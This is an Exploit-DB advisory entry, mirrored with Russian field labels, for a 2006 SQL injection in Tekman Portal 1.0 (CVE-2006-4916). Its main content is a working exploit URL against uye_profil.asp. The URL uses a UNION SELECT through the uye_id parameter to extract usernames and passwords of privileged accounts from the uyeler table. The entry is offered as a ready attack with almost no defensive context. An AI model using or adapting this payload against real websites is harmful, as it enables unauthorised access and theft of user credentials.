Exploit Tekman Portal 1.0 - 'tr' SQL Injection

[Exploiter]

EDB-ID

2395

Проверка EDB

1. Пройдено

Автор

FIX TR

Тип уязвимости

WEBAPPS

Платформа

ASP

CVE

cve-2006-4916

Дата публикации

2006-09-19

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Tekman Portal v1.0 (tr) SQL Injection Vulnerability    +
+ Author  : Fix TR                                       +
+ Site    : www.hack.gen.tr                              +
+ Contact : fixtr[at]bsdmail.com                         +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+ Download: http://www.aspindir.com/goster/4425
+ Version : 1.0
+ Bug In  : uye_profil.asp
+ Risk    : High


+ Exp.

http://[Target]/[Path]/uye_profil.asp?uye_id=1+union+select+1,kadi,null,seviye,null,null,null,null,sifre,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from+uyeler+Where+seviye+like+2

# milw0rm.com [2006-09-19]